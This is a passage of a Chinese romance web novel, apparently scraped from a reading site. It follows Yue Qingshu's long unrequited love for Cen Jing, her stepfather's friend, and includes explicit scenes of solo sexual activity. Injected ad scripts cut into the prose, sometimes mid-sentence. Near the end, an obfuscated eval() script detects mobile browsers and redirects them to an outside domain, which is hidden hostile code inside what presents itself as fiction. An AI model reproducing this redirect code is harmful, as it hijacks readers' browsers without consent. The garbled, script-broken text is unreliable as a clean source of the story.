英国的大部分地区都处于温带海洋性气候中,伦敦尤为典型。 四季平缓,没有明显的温差,冬暖夏凉。 都说英国宜居,但越清舒觉得伦敦的天,雨雾过重,雾天总是连绵漫长,惹得人心中不快。 后来从伦敦走,她跟朋友说:“太闷了,再也不想来伦敦常居了。” 朋友惊讶。 “闷?只是雾大而已,空气不闷呀,而且你在旧金山雾就不大了?” 旧金山的雾,比伦敦的还重。 越清舒当时无法反驳,找了个蹩脚的理由,说—— “那不一样,伦敦的雾还有工业雾,那是雾霾!旧金山的好歹…是自然天气,而且旧金山都是夏天起雾,我不太喜欢伦敦起雾的时间。” 伦敦的雾多是秋冬。 朋友也没对她这个解释进行深挖,只是笑着推搡:“你可真是个怪人!” 越清舒这人看着乖巧寡淡,没什么攻击性。 但有时候让人觉得她骨子里执拗又一根筋,有着别人无法撼动的、属于她自己的规则怪谈。 后来越清舒离开伦敦回学校。 在旧金山遇到浓雾天时,她再也没有在伦敦时那种闷闷的感觉。 想了很久,才想到了真正原因。 原来不是因为雾天,也不是因为季节,而是因为… 记忆中熟悉的雨天,搭配着英式英语的发音和腔调,两者碰撞发生的化学反应。 岑景曾教过她一阵子英语。 她在学校学的一直都是美腔,第一次听英腔的时候觉得很新奇,英腔的某些字母发音很轻。 例如''t''和''r''。 她着重认真发音的部分,在他的口中却是轻描,就好像… 她在意的。 他并不在意。 岑景小时候在英国长大,高中时因为家庭变动才转学回来。 英语毕竟也算是他的第二母语。 所以他说起英语来,总是流畅又轻巧,每一个发音萦绕在他舌尖时,都缠绵悱恻却又干净利落。 越清舒那段时间偷偷听了好多英国歌手的歌,学着他的样子发英腔。 后来么… 自然是被自己的老师说了一顿。 她要申请斯坦福大学,考的是托福,考官也都是听美式英语的。 “干嘛啦越清舒,你想换成雅思,去英国上学啊?怎么突然喜欢上英国佬的腔调了,有喜欢的人了?还是个英国佬?网恋?” 越清舒赶紧扯谎,说自己只是最近听了很多英国歌手的歌而已。 后来某天,她的家教与岑景打了个照面。 那天越清舒无比紧张,生怕两人用英语交流起来,就被人看穿了她的小把戏。 原来人真的会因为另外一个人而记住某个城市。 也会因为一个人的存在,而影响自己的整个感受。 … 重机车的发动机轰鸣。 那辆车无端停在越清舒面前的时候,她有一瞬间想到国外常有的“飞车党”。 第一时间,越清舒抱紧了自己的小挎包。 机车上的男人把头盔前面的防风镜一打开,看着她那退避三舍的模样,赶紧说:“不是,你别急,我是岑景派来的——” 派来个屁:) 一时心急嘴快,让自己给岑景当上黑奴了。 不过徐澈时发现,说出岑景的名字后,越清舒就收起了自己的防备姿态,放松了许多。 她没说话,就这么看着他。 徐澈时有些明白,岑景所说的漂亮是何种漂亮了,客观意义上的漂亮。 清淡的气质,但五官惊艳。 是雪山之上,皑皑白雪覆盖下,挖出来的那颗最明艳的绿松石。 “他让我来找你。”徐澈时这才继续解释,“你手机没电了?” 越清舒猛地反应过来自己很长时间没看手机了,把雨伞夹在臂弯中,去翻手机。 这把伞很厚重,臂弯根本架不住,这一来,雨伞倾斜,看着就要倒下。 徐澈时眼疾手快,从车上下来,帮她把雨伞扶正了。 “谢谢。”越清舒说道,拿出手机。 她这才发现,确实关机了。 徐澈时睨了一眼:“没电关机了是不?” 越清舒点头:“嗯…好像是充电口进水,没充上电,我没注意。” “你先拿我手机给你妈妈打个电话。”他顺手从衣兜里掏出手机,“找不到你人,电话打到岑景那儿了。” 这才有了他来找人的后续。 越清舒心中了然,只是也确定,岑景这人,若不是她家里的缘故。 估计… 跟她也不会有什么往来吧。 她借了徐澈时的电话报平安,通话结束后,徐澈时收起手机。 他问:“你这小姑娘,下雨天不回家在外面蹦蹦跳跳的干什么呢?” “我蹦蹦跳跳的吗?”越清舒皱眉。 徐澈时:“……” 徐澈时:“你都快把路边的积水溅我脸上了,还问我你是不是蹦蹦跳跳的,自己有没有好好走路,是察觉不到吗?” 越清舒觉得他的说辞有些夸张,反驳道:“我再怎么也溅不到你脸上啊,好像,反而是你的机车动静比较大吧?” 徐澈时:“?” 怎么感觉跟岑景嘴里乖巧文静的小女孩不一样? 这嘴不是挺会说的? 算了,一个小姑娘,不计较。 徐澈时在车上拿了另外一套防水衣,将头盔扔给她:“走吧,送你回家。” 他接过越清舒手上的伞,帮她打着方便穿衣。 这雨伞怪笨重的。 黑成这样,感觉是岑景的风格。 越清舒知道家人担心,也没拒绝,换好衣服后准备上车,不过上车前。 她顿了顿,思考片刻:“嗯…谢谢…叔叔?” 岑景的朋友的话,跟他是一个辈分吧? 结果徐澈时瞬间炸毛:“什么叔叔!哥哥!哥哥!老子只比你大八岁!” 越清舒:“……” 越清舒:“好的,哥哥。” … 越清舒第一次在这样的雨天,坐在机车的后座上一路狂飙,戴着头盔也能感觉到迎面而来呼啸的风。 雨滴砸在光滑的防水服上,滴答又嘭嘭,像是烟花炸开的声音。 到家后她先去洗澡换了衣服。 而徐澈时也被莘兰热情留下,说是麻烦他这么跑一程了,留着吃个晚饭。 莘兰叫他去一楼客房洗个澡。 冒雨而来,身上总归不舒服,恰好家里留了两套合适的衣物可以给他换。 那两套本来是留给岑景的,但徐澈时个子、 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 身材跟他相仿,也能穿。 越清舒收拾好以后,出来听到他与莘兰在聊天。 “岑景呢,回去了吗?挺麻烦他的…下次再请他吃饭,到时你也来吧。” “嗯,回了,他那行程也是耽误不起哦。” 吃饭时难免聊天,就提到越清舒今天的面试和工作。 “你真打算去喜莱啊?”徐澈时有些惊讶,又提醒,“岑景这人挺公私分明的,相处久了你就会发现他这人龟毛得很。” 喜莱的企业文化氛围还不错,但不代表岑景这人也那么和睦。 “这样正好。”越清舒说,“我本来就是因为不想得到额外的照顾,才去喜莱的。” 既然他的朋友都这么说。 越清舒觉得自己就不用担心了,公事公办对她来说才是最好的态度。 徐澈时被越清舒这回答搞得一愣,最后也就笑笑过去了。 挺意外。 她不是娇气包小公主,倒是挺有韧劲儿和自己的想法。 饭吃完,徐澈时没有久留,只是好歹算是认识一场,临走前,他跟越清舒加了微信。 “走了啊,以后要是想兜风,你叫我,哥带你玩儿去。” 越清舒看着他那不正经的样子,很难想象他跟岑景竟然是朋友,没忍住感叹了句。 “想不到他跟你竟然能玩到一块儿。” 徐澈时笑出声,“怎么又想不到了?你真觉得岑景是什么好人啊,他可比我坏多了。” 你这样的小姑娘,他玩儿你都不需要费心思。 徐澈时压着后半句没说。 越清舒也没否认岑景在自己心中就是个好人的形象,点了点头。 他在她心中。 就是一直很好的。 徐澈时看着越清舒那单纯的样子,多嘴提醒了句:“男人嘛,都一个样,不能只看表面。” 再禁欲、君子做派,也总归充满男人的劣根性。 越清舒没有再接话,听懂了他的暗示,只是道别以后,她转身在门口货架上拿快递员放在门口的包裹。 粉色的纸盒,粉嫩的少女心。 详情页面上什么都没写,无人知晓里面是装了什么。 越清舒将自己的快递拿上楼,跟莘兰说她要回房间休息了,看会儿书或者电影。 莘兰不会在她自己的时间里打扰她,总是留足了空间和距离感。 她关了房门,用小刀拆开快递。 外表看起来只是干净、简洁的保温杯,但她打开盖子,弹出一个硕大的乳白色硅胶头。 这一款的设计过于直接,完全设计成了男性本身的形状,只是为了增加舒适度。 顶部做了螺旋花纹,颜色也更纯白耐看。 越清舒垂眸,摁开电机,感受其在手心处震动的频率,以初步判断它的效果。 其他款式她都有些腻了。 已经想不起来第一次接触这样的东西是什么时候,只记得在国外上学那几年,舍友的小玩具都是直接摆在桌上。 她还会问越清舒,更喜欢哪种的。 也会跟她开玩笑说,男人和小玩具一样,得多试几款才能确定到底哪一个最合适。 尺寸,大小,深度,频率。 什么叫表面呢? 衣冠工整地站在别人面前的时候吗? 可谁都有赤裸的时候。 赤裸的身体,赤裸的欲望,赤裸裸地将玩具纳入体内。 还有,更为直接了当、不假思索的—— 高.潮时,出现在脑海中的那张清冷孤傲又让人欲念难平的脸。 10.[the tenth day] [the tenth day] - 不知是不是今天刚见过他的缘故。 越清舒觉得湿润得厉害。 脑海中和他有关的画面更加清晰,颤动时,那张脸也更加清晰。 她第一次被自己性幻想中的岑景吓得耳根一烫。 越清舒接触小玩具不过是两年前的事情,那会儿她本科学分修够了,提前毕业读研究生的课程。 研究生时的那个室友十分开放。 她会同时dating很多位男生,最后在他们中间选择一位,那会儿越清舒还不懂dating文化。 室友拉着她科普了一大堆,说在确认恋爱关系前,谁也不需要对谁负责。 默认双方也可以同时接触多个对象,至于接触到哪个程度,也随意。 室友总说。 “男人的实用性很重要啊,长期的情侣关系能不能走下去,性生活和谐是非常重要的。” “你可别小瞧了性在亲密关系里的作用。” “有时候吵架呢,疯狂做个爱就消气了,说白了,□□和食欲一样,饿了会觉得委屈,吃饱了会觉得满足。” 更刚开始越清舒还要愣一下,觉得她话也太粗糙了,不过听多了也就习惯了。 后来越清舒生日,室友送了她一只基础吮吸款,还贴心地给她准备了吸水垫。 越清舒也不是一个保守刻板的人,觉得人送了,就用用。 用完以后,室友来问她体验。 “挺好的。”她乖巧回答。 越清舒第一次接触这种快感,就是很舒服的小玩具,觉得微妙又神奇。 “就是有点黏糊糊的…而且小腹有点隐隐刺痛。”越清舒说。 室友惊讶,随后跟她打趣。 “我去,舒舒,你是出水体质啊,真好,做久了应该不会干,不然你都不知道多疼!还要用额外的润滑剂!” 越清舒:“…………” 话还是那么粗糙。 室友:“有点刺痛正常的,不过要注意控制,别对自己下手太狠哈!喔对了,我得提醒你…” 她说着,露出了一个非常悲痛的表情。 “很多男人其实是不如小玩具的,你的阈值会被养得很高哦!” 越清舒当场皱眉:“那为什么还有那么多人喜欢跟人做?而不是自己解决?” “那不一样啊。”室友摸着一个粉色震动棒,“人和人之间是有温度的,拥抱的温度,对方的气息和心跳…还有互相满足时交汇的眼神。” 那瞬间。 越清舒的表情突然变了。 她下意识地咽了下,有种莫名其妙的口干舌燥。 室友察觉到越清舒细微的表情变化,她马上凑过来,神秘地问:“想到谁了?被小玩具开荤了,想睡哪个男人了?” 越清舒当时撇开头:“没谁。” 可后来每一次,她的面前都会出现岑景的脸。 随着两人渐渐熟悉,室友也知道了她喜欢的那个人是什么样的。 越清舒毕业回国的时候,她送了一个笔记本,封面上明晃晃地写着。 ——【□□是一种高级欲望。】 因为很多动物是没有快感的,□□就只是繁衍后代。 她祝越清舒。 “早日睡到你的冰山crush,这种平时冰冷的,睡起来最带劲了,不然哪儿来的斯文败类这个词?” … 实在是欲念难平。 她弄好以后,起来收拾,把垫子洗干净挂了起来。 人抱起来,是有温度的,人靠近,是有气息的,越清舒忽然很想感受这个温度。 但她现在只能抱住自己的大玩偶。 不过她想起自己的柜子里有一瓶香水,尘封了很久都没有拆。 是岑景身上的香气。 那瓶香水是私人订制特调的,本来是不对外公布的,但越清舒借着自己的“身份”,撒谎做了一瓶。 她跟着周为和岑景去过那个工作室。 工作人员知道她的身份,所以越清舒借口说是岑景那瓶运输的时候不小心打碎了,说他工作忙没时间来,她再来买一瓶新的。 那是她第一次撒谎,脸红得快要炸掉,但好在最后顺利,没有人知道她为了他身上的味道,去买了这一瓶。 这么多年过去,他的香应该已经换了。 不过岑景依旧喜欢雪松,柏木,鼠尾草的后调,她今天有闻到一点。 还是类似的。 不管怎么说,那是岑景的味道… 越清舒起来把那瓶香水拆了,喷了一些在毛绒玩偶上,抱着软乎乎的它入睡了。 - 收到喜莱offer的那天,越清舒刚跟高中室友约好了要去聚会。 难得她从美国回来,大家都那么久没见,当然是要见一面的,前些日子大家工作都忙,难得周末闲暇终于抽出空来。 她们都是越清舒高三时才认识的室友,那会儿高三冲刺班级调整,才有缘做了室友,本来以为大家高三都是努力拼搏学习,应该鲜少交流。 但没想到。 最不抱有希望的时候,她们就成了最好的朋友。 关系好的两位,一个是云见,一个是沈念温。 云见性格内敛敏感,越清舒对她的印象,觉得她青春期是个小哭包。 别的么… 还记得她当时暗恋着班上一名成绩很好,性格张扬的男生。 至于沈念温。 大大咧咧,古灵精怪,聪明的时候很聪明,但大部分时候是个笨蛋。 三个人吃了顿便饭,觉得无聊,选来选去,最后定了家新开的酒吧决定再去闲聊一会儿。 好友多年没见,总是话多。 但令人感到奇妙的是,她们的话题已经从学校、家长、同学老师,变成了工作、项目、老板同事。 云见中间溜到旁边去接电话,回来就吐槽。 “周末呢,领导让我打电话把设计叫起来加班。” “怎么啦,这不能自己打电话嘛?” “最近接了个新的外包,甲方既要又要还要,我可算明白什么叫做甲方爸爸说,我想要五彩斑斓的黑这句话了…” 沈念温笑得不行,说云见:“哎呀,我以前那个温柔可爱不爱说话的小见呢?” 云见:“死了。” 云见:“我现在是钮钴禄氏,云,上班素质全无的小见。” 沈念温直接笑出声,感叹说:“高中毕业的时候,其实我也幻想过,以后我们会长大的,会有很多变化的,但说实话,没想到变化会这么大。” 越清舒也跟着笑。 只不过她刚笑一会儿,两人就问她了。 “好了,你别乐呵了,下周要去入职了吧?”云见说,“我们之前接过喜莱的一个小合 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 作,都能感觉到喜莱内部规划和要求都超级严格…这简直就是坐牢。” 沈念温:“上班再怎么坐牢,也不如上学的时候吧?” “上学的时候…还能靠着,觉得学校有喜欢的人勉强过活一下。”云见一脸死气地说,“但公司哪有…” 沈念温:“…………” 也是,人生唯一的念想都这么被掐断了。 但越清舒忽然端起面前的子弹头shot干了一杯,清脆的玻璃杯底碰撞:“有的。” 云见:“?” 沈念温:“???” “你不喜欢那个人了?”沈念温问。 作为室友,她们当然还是知道一些事情的,只是没见识过庐山真面目而已,但对于越清舒喜欢了某个人好几年这件事,她们还是知情的。 越清舒看着没什么情绪。 她依旧淡淡的。 坦坦荡荡地诉说着喜欢,平静地承认自己忘不掉。 “喜欢。” “还是那个人。” 她顿了顿,没打算瞒着。 “一直都是他,没有变过,他就是……” 她即将入职的“喜莱集团”的CEO。 只是话还没说完,越清舒看到沈念温和云见的目光往旁边飘了飘,两个人的注意力都被吸走。 她也不再往下,转头,顺着二人的目光看过去。 嘈杂的空间,越清舒还没听清对方的声音,昏暗的环境也有些看不清面容,但呼吸之间瞬间钻入了他身上的味道。 只此一刻。 她的呼吸好像被掠夺了,被他的气息碾压。 “越清舒?”他明明看清,却又用着怀疑的语气。 越清舒人一愣,下意识应了声:“岑小叔,好巧…?” 岑景垂眸看着她。 头疼。 不得不承认,她很漂亮,稍作打扮就更加漂亮,惹人注目。 十分钟前,他从别人的手机里看到她的照片。 “看到没,这妹正死了,而且一看就是纯情小姑娘,玩玩?” “岑哥这酒吧开得好啊,每天都是漂亮妹子!” 这人叫陈喜,不算什么好东西,但对文娱产业,特别是酒吧的管理还算是有点刷子。 岑景对他一向睁一只眼闭一只眼,自己的事情自己管,别给他捅娄子就行。 这人一向喜欢撩妹,专挑清纯的下手。 但岑景今天随便睨了一眼屏幕,便警告他。 “你最好老实点。” 室内的空调热,越清舒穿了件吊带裙,外套搭在后面,皮肤白皙、性感,落在好色之徒眼中,定是尤物。 他皱了皱眉。 “你们换个地儿。” “或者回家。” 越清舒一下子气笑了,觉得岑景莫名其妙,出现在这里只是为了用长辈的家训语气叫她回家? 岑景本来没打算多留。 这里不方便说话,吵,他微微勾手,示意越清舒跟他出去。 但她见他说完话就转身要走的模样,更是有些怒火和愤愤不平在心间蔓延,越清舒倏然起身,抓住他的手。 两人的手掌莫名交叠。 刚握过酒杯的手指尖冰冰凉凉的,但突然紧握的手心却是烫人的。 她毫不避讳地叫他大名。 “岑景。” “你是不是还是把我当小女孩儿?” 11.[the eleventh day] [the eleventh day] - 风暴聚集的海面。 巨浪翻涌之间。 她那艘在海里四处飘散的小船撞上了一艘渡轮,在如此汹涌的海面之下,靠近只有两个结果。 被接纳或是被毁灭。 越清舒太清楚自己的结局,她不喜欢在沉闷的空间里飘荡的感觉。 她不想成为困在玻璃缸里的鲸豚,不想成为—— 那有了刻板行为还要被游客说成可爱的可怜生物。 要么冲破这个牢笼,要么死在里面。 面前身形高挺的男人倏然一愣,他在明灭不断的昏暗灯光下轻蔑地回眸。 岑景睨了一眼她的手。 正抓着他紧紧不放的那双手。 小女孩的心思过于浅显。 像是轻轻一个波浪打上来,就被卷在沙滩上漂亮但脆弱的贝壳。 她这句话的暗示也有些过于明显,被岑景轻易识破,他没有应声,也没一脸嫌弃地马上把她的手挪开。 而是这么看着她。 冷淡的眼神中含着戏谑的笑,好像在看她能这样牵到什么时候。 他没有厌恶她的接触,但也不曾主动。 越清舒看着他懒散的态度,心口一阵刺痛感,些微有些明白他的意思。 岑景的眼睛在说话,“那你要怎么做呢,越清舒。” 他们的关系。 受限于“叔侄”的枷锁,却又没有任何真正的伦理血缘关系。 岑景不是一个喜欢考虑别人的人。 即便是把对方架在火上烤,他也只在乎自己的感受。 至少,越清舒的存在不让他觉得讨厌,他也做了自己能做的。 五年前拒绝她的时候,他就已经说得很清楚,至于后来的什么,那是越清舒自己的事情。 酒吧舞台的表演按时开启,音乐鼓点敲下来,耳朵轰鸣。 在歌手开口之前,越清舒就着音乐的伴奏声,听到岑景说了句。 “不合适。” “我现在有女朋友。” 越清舒松开手,但岑景站在原地没走,他的脸被手机灯光照亮。 男人的手指在屏幕上飞快地点了两下,随后睨了一眼自己来的方向。 他微侧身,淡淡回眸,通知她:“跟我出去。” 岑景的语气里听不出一丝情绪,但压迫感还是强到让人无法拒绝。 越清舒垂眸,回身去拿自己的外套。 “我出去一下,你们等等我哦。”她说,“想喝什么就点,我请客。” 云见和沈念温一起点头,示意她安心去解决自己的事情。 岑景。 她们曾经远远地看过一眼,还是因为去越清舒家里找她一起去图书馆。 刚好碰到来她家里跟周为谈事情的岑景。 那会儿沈念温还问呢,这人谁啊,这么帅,越清舒淡淡地回答,说是小叔叔。 是她继父的朋友。 刚开始谁都没往越清舒喜欢他这个点子上想,直到高考结束那天,她们出去疯玩。 喝完酒以后,几个人蹲在路边等车。 越清舒把脑袋埋在膝盖间,小声说:“喝醉酒能随便跟来接的人撒娇么?” 沈念温和云见推搡着她笑。 “干嘛呀,你喜欢的人来接?” “谁呀。” 那是个燥热悸动的夏天,一辆豪华轿车停在路边,有个熟悉的身影从车上下来。 跟她们周遭穿着简单T恤的热烈、年轻气盛的少年不同。 他穿着黑色的衬衫,袖口挽起一个角,露出了紧实流畅的小臂肌肉线条。 男人往她们那边淡淡地睨了一眼。 他懒散地靠在车边,修长的手指把玩着一款价值不菲的金属质地打火机。 也不打扰,不问不靠近。 熟练又性感地夹着一只烟,薄薄的一层烟雾缭绕在他身侧。 沈念温当时倒吸了一口凉气,跟旁边的云见说。 “看到没,那简直是个吃人不吐骨头的大魔王。” 云见迷糊:“他又没吃人,只是在抽烟而已啦。” 这是怎么得出的结论? 十八岁的少女谁也说不上来原因,只记得岑景那天晚上站在那里。 她们都觉得,那是个谁都惹不起的对象。 介于哥哥和叔叔之间的另外一种感觉,好像很近,但实际很远。 他可以轻易踩死所有人。 或者说,在他的视线下,她们所有人的秘密、隐瞒、心机,全都会荡然无存。 也包括越清舒的。 那天晚上岑景来接跟朋友玩得很疯的越清舒,却没有主动叫她过去。 他只是把车停在那边,看完了全程,最后等越清舒自己起身,乖乖走过去。 “岑小叔。”越清舒软绵绵的叫他,“谢谢你来接我。” 沈念温还记得。 岑景甚至不在乎她的朋友们长什么样,他的眼神没有在其他人身上停留。 毫不关心,她与谁来往,又有什么样的朋友。 因为这是跟他无关的事情。 喜欢一个人的眼神过于明显,至少越清舒是的,她这个人平时看起来寡淡又平静。 但唯独看着岑景的时候。 仿佛倦鸟渴望归巢、游鱼渴望大海。 简单直接,又热烈。 连她们都一眼看破的事情,岑景不可能不知道,他只是像不在乎其他事情一样。 对她的喜欢,也不那么在乎。 越清舒跟岑景出去以后,沈念温吃了一口提子,侧头凑近云见。 “好神奇啊,人原来真的会默默喜欢一个人那么多年吗?” 云见愣了下,忽然说:“会吧。” “有什么好继续喜欢的?都见不到,又没在一起。”沈念温不解。 她自己虽然也是喜欢了同一个人好多好多年,但至少,他们是青梅竹马呀。 是每天都会见面,随时都会打交道的亲密关系。 每天都看到同一个人在自己面前闪耀,那当然会喜欢啦。 可是见不到,又是如何喜欢下去的呢? 云见等身后的歌手结束,才说:“因为一直没能见到,没能在一起,才有持续不断的念想。” “嗯?”沈念温还是没懂,“怎么持续不断?” “没有得到但想要得到的东西。”云见微微偏头,“就像一场旷日持久的低烧,会一直存在的。” 沈念温稍微有些明白了,猛喝了一口酒。 沈念温:“所以我们越越,是喜欢了这位小叔这么多年,还是没放下,因为一直想要得到?” 云见点头。 “我懂了。”沈念温赶紧拿出手机,给越清舒发了两条微信信息。 … 越清舒人还没走出去。 这酒吧的通道弯弯绕绕,进出的人又多,他们逆着拥挤的人潮往外走。 她的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 手机震动不停,拿出来看。 消息是沈念温发的。 -【如果实在放不下,就得到他!!给我拿下他!!我们越越超级无敌大美女,他这个三十岁的老逼登就偷着乐吧!】 -【对了,上面有桌男的一直在看你,贼露骨,脸上简直写着想睡,是看到岑景带你走了眼神才老实的。】 越清舒忽然笑出声。 如何描述这种感觉呢—— 她知道自己在进行一件会被人诟病的事情,岑景是她的小叔叔,是她继父的好友。 她十五岁的时候就认识他了。 可是她喜欢他。 喜欢了很多很多年,到现在也没能放下。 这事落在世俗的人眼中,大概会觉得她荒唐,觉得她不可理喻。 为什么要喜欢一个注定没有结果的人呢?这个世界上,明明有很多人。 但她的大脑和心脏告诉自己,这个世界上,只有一个岑景。 可是她的朋友,会无条件地支持她的疯狂。 沈念温的消息看完后,她刚切出来,就看到云见的消息也弹了上来。 -【对一个东西最好的祛魅方式就是拥有。】 -【先拥有,再来谈要不要丢掉。】 方寸的感动之间,越清舒手一抖,没拿稳手机,被要挤着进来的人撞了一下胳膊。 啪嗒一声。 她的手机掉在地上,顺着有些弧度的坡度往下滚了滚。 她快步追上去,想要弯腰捡。 却看到一双熟悉的手率先拿起了她的手机,岑景的手不是细长型的。 指甲修剪得干净利落,中段指关节略粗一点,像是突然的停顿下来的拦截,给他的手增加了不少攻击性。 岑景的手背上还有明显的青筋蔓延。 单单一双手,在越清舒看来,就性感得可怕。 两人走了两步,到空旷处。 岑景将她的手机扔给她,而后,手揣在风衣衣兜里,越清舒这会儿才看清他的穿搭。 跟在公司的严肃规整不同,他今天穿得很是闲散,头发都只是随意地梳了梳,被风抚动,看起来柔软。 他一米九的个子穿长款风衣,也依旧不会被压个子,肩膀宽阔,头身比也好。 岑景是很适合穿这类型衣服的。 他垂眼看着她。 越清舒没有好好穿外套,只是将那件针织衫搭在自己的肩膀上。 锁骨和胸口大片肌肤裸露在外面,她抬手接手机的时候,外套差点从肩膀上滑下去。 这会儿肩膀也露了一截。 “成年人至少要拿得稳自己的手机。”岑景说她。 越清舒在检查手机屏幕有没有碰撞,低低地“哦”了一声。 她没有问岑景叫她出来干什么。 或许一开始他来找她,只是为了提醒她这里不是个很好的地方。 ……毕竟,刚才沈念温也说了,有人在看她。 作为长辈,岑景确实有提醒的义务。 但现在不是一开始了,在她起身抓住他的手以后,就不一样了。 岑景是个聪明人,自不会跟她弯弯绕绕。 两人间沉默了片刻。 谁也不知道对方具体想了什么,只是越清舒再一次抬头看向他的时候。 她看到岑景一副意料之中、傲慢自负,嘴角噙着轻笑神情。 他的眉梢微动了一下。 “越清舒。” “你,现在还喜欢我?” 12.[the twelfth day] [the twelfth day] - 他对她了如指掌。 好在越清舒也没有什么负担。 她感觉自己肩膀上的衣服往下落,伸手抓住,越清舒拢了拢外套。 “嗯。” “喜欢。” 所以我希望你不要把我当听话的小女孩,我已经二十三岁了。 岑景看了她几秒,好像不是很意外她这样做。 最后他只说了句。 “知道了。”岑景没有拒绝,但他更不可能接受。 越清舒深呼吸了一口气,“你放心,我不会打扰你的。” 后半句她没有说完。 她想说,在他有女朋友的时候,有喜欢的人的时候,她只会默默喜欢他。 仅此而已。 她自己知道把握行事的分寸。 他可以喜欢别人,也可以更别人恋爱,但越清舒只是想要岑景正视这段喜欢。 但在结束对话之前。 岑景又问她:“你来喜莱真的不是因为我?” “不是。”越清舒觉得他可能不会信。 “行。”岑景微微点头,“你喜欢我这事儿,我管不着。” 越清舒的心一颤,实在说不上来是什么滋味,有些闷闷的。 喜欢一个人是甜蜜但又酸涩的心事。 是在口腔中口味层次丰富的糖果,没有人知道下一口,会是什么味道。 她明明一直都在期待,期待能够在他面前,告诉他,不要把我当小孩儿了。 一直期待,他能够看见她的心情。 可他如此平静地说出,这件事,我管不着的时候,她还是觉得心口涩痛。 但被爱的人又有这么错呢? 岑景知道对她说了拒绝后,她还是会喜欢,所以他没有剥夺她去喜欢的权利。 他控制不了别人的感情,只能控制自己的做法。 越清舒微微低着头,感觉自己像是在被岑景训话,他看似对她的感情纵容。 不过是他高高在上地运筹帷幄。 因为他可以掌控,所以不怕这段关系会失控。 她知道自己玩不过他。 “工作和私人感情分清楚。” “你既然选择喜莱,应该也是有自己的想法,Vivian是不错的领导。” “你进来以后可以跟她多学习。” “至于别的有关工作上的事情,我们公事公办。” 岑景看了她一眼,发现她的嘴角往下压着,看着不开心。 但他的话还是没收回去。 尖锐又刺人。 “越清舒。” “你要做好被教训的心理准备。” “我不会给你开后门,也不会像以前那样,因为Zhou而特别照顾你。” 越清舒嗓子有点干:“嗯,我知道,我本来也没想要被照顾。” 岑景嗯了一声,继续提醒她。 “你也不需要对我有什么期待。” “我什么都不会做。” 即便她工作遇到困难,即便她有处理不了的事情,这都不在他会伸手援助的范畴内。 老板对于员工本就是这样的,能做就做,不能就换人。 岑景好像也没说什么,也好像都是合情合理的,只是她自己不太舒服。 越清舒觉得外面有些冷,吸了吸鼻子:“好,我可以进去了吗?朋友还在等。” 岑景刚抬手,本来想直接示意她进去。 但越清舒又突然被叫住了。 “衣服穿好。”他想起有些人的眼神,“早点回去,少在这儿玩。” 越清舒不解,也不乐意他管这么多,小声嘟囔。 “二十几岁正是爱玩的年纪…” “你有时间管我回不回家,不如先照顾好自己那三十一岁的身子骨。” 不是很高兴,但说他两句泄愤是可以的。 岑景:…… 他忽然就被越清舒气笑了。 “爱玩,怎么玩儿?”岑景眯了眯眼,“穿着你这露骨的吊带裙被酒吧里的好色之徒盯着看,让他们来请你喝酒,把你带走?” 越清舒其实没做过这么出格的事情,但此时面对岑景,就是要吵上两句。 “你管我怎么玩。” “我只是喜欢你,又不代表你能管我。” “我们又没有什么别的关系,我就算喜欢你,也不影响我现在就是单身,也可以dating其他人。” “你也少拿我妈和周叔来压我…他们才不管我来酒吧玩呢。” 明里暗里就是怼他多管闲事,叫他摆清楚自己的身份和位置。 岑景的确懒得管。 好心当作驴肝肺,难得当个人做点好事,人姑娘还嫌他管得多。 行,不管。 越清舒看到他淡淡地扫了自己一眼,转身进去了,留着她自己站在外面考虑。 和她预想中一样无情。 … 岑景刚回卡座。 徐澈时一杯酒递过来,“干什么去了,不会有人偷偷出去工作吧?” 他睨了一眼入口方向。 越清舒小心翼翼地又从外面挤进来,正在往朋友那边去,路过的那些桌,几乎所有男人都要多看她两眼。 岑景给徐澈时递了个眼神。 “处理麻烦事。”他顿了顿,“那儿呢。” 徐澈时顺着看过去,一眼就看到了越清舒,她皮肤白,灯光这么昏暗的情况下,还是能马上找到她。 “哟,这不小舒妹妹吗?”徐澈时说着就要起身,“过去喝两杯?” 岑景没打算跟那几个小姑娘喝酒。 “自己去。”他眼皮一掀,又忽然长腿伸出来,挡住徐澈时的去路。 “不是,你干嘛呢?”徐澈时皱眉。 “小舒,妹妹?”岑景提醒,“你也是挺会给自己改辈分的。” 徐澈时觉得他这人怪得很,吸了口气:“不是,我这辈分有什么问题?” “人叫我小叔叔。”岑景说。 “那是你他妈自己有病!”徐澈时表示唾弃,“喜欢在人家小姑娘面前摆架子,讲身份辈分,实际上只比人家大八岁。” 岑景:“八岁还不够?” “八岁你就要跟人家爹一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13814222|145182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辈分。”徐澈时竖起大拇指,“除非你八岁就能当爹。” “是么。”岑景淡淡回答,“我只比你大八个月,也能给你当爹。” 徐澈时:“…………” “操。” 岑景这B嘴。 “那也挺对的。”岑景继续说,“你叫她妹妹,确实也该叫我一声爹。” “这么喜欢当爹自己生去,你他妈性功能有问题啊?”徐澈时编排他,“三十一岁的纯情大处男。” 岑景这些年不是没有谈过恋爱。 对象换了好几个。 但他这人实在龟毛,洁癖严重到没办法跟别人喝一杯水,更别说谈恋爱要接吻、做.爱。 别人都在沉浸于肉.欲的时候。 他嫌脏。 徐澈时也觉得岑景是个奇葩,问题是,他这么龟毛且纯情的恋爱法。 竟然还有女人能忍受,能跟他谈。 这他妈谈的是什么?要的无非就是个岑景对象的身份。 岑景挑女朋友都有严格的计算公式。 听话,乖巧,没脾气的最好,有事说事,有情绪就说。 岑景这人怕麻烦,不喜欢猜来猜去的,他需要女朋友给自己直接的信息反馈。 生气、不高兴,OK,买个包哄一下。 